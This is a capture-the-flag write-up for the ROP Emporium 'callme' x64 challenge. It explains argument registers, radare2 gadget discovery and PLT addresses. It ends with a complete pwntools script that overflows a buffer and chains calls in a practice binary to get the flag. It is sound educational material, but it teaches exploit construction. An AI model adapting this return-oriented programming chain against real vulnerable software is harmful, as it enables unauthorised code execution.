Post

ROP Emporium callme Writeup (x64)

ROP Emporium callme Writeup (x64)

Introduction

ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the third challenge of eight.

According to the challenge page our goal is to call the functions callme_one(), callme_two(), and callme_three() in that order with the arguments 0xdeadbeefdeadbeef, 0xcafebabecafebabe, and 0xd00df00dd00df00d.

We should essentially be running

1
2
3
callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d);
callme_two(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d);
callme_three(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d);

This is what a hint will look like!

x64 Calling Convention

We know from the first challenge we need to set the instruction pointer to a function address in order to call that function. But how do we pass arguments to those functions?

In x64 arguments are passed through specific registers. The first three arguments correspond to the rdi, rsi, and rdx registers respectively. This x64 cheat sheet can help if you want to learn more about x64.

Exploit Crafting

The offset for x64 challenges will be 40 bytes. If you want to know how to get this value see the ret2win writeup

Function Address

What are the plt addresses of the functions?

Using radare2 we can analyze a binary by running aaa. To list functions with their addresses we can run afl func-addr

The function addresses we need are

1
2
3
callme_one: 0x00400720
callme_two: 0x00400740
callme_three: 0x004006f0

Why are we using the plt entries for the functions rather than the calls in usefulFunction? When a call instruction is executed, it’ll execute the function while also placing the return address onto the stack! So once callme_one() is finished it will continue to execute instructions in usefulFunction

call-problem

So after we finish callme_one(), the program will exit!

Adding Arguments

Is there a gadget which sets the argument registers?

Let’s take a look at usefulFunction in radare2

1
2
3
s sym.usefulFunction
V
p

useful-asm

There’s a helpful section called usefulGadgets with, who would’ve thought, a useful gadget! It sets the first three x64 argument registers from the stack, which we already control! The address of this gadget is 0x0040093c

Exploit

Now we have everything we need to build the exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/python3
from pwn import *

# useful addresses
call1_addr = 0x00400720
call2_addr = 0x00400740
call3_addr = 0x004006f0
pop_regs_addr = 0x0040093c

# put args into corresponding registers
def set_args(args):
    payload = p64(pop_regs_addr)
    for a in args:
        payload += p64(a)
    return payload

# create payload
payload = b'A' * 40

# callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
args = [0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d]
payload += set_args(args)
payload += p64(call1_addr)

# callme_two
payload += set_args(args)
payload += p64(call2_addr)

# callme_three
payload += set_args(args)
payload += p64(call3_addr)

# send payload + receive flag
io = process('./callme')
io.sendline(payload)
io.recvuntil(b'callme_two() called correctly\n')
flag = io.recvline()
log.success(flag)

flag

Conclusion

This challenge reinforces the the concept of passing multiple arguments in x64, as well as finding and chaining gadgets together.

Previous Challenge (split)

Next Challenge (write4)

callme x86

This post is licensed under CC BY 4.0 by the author.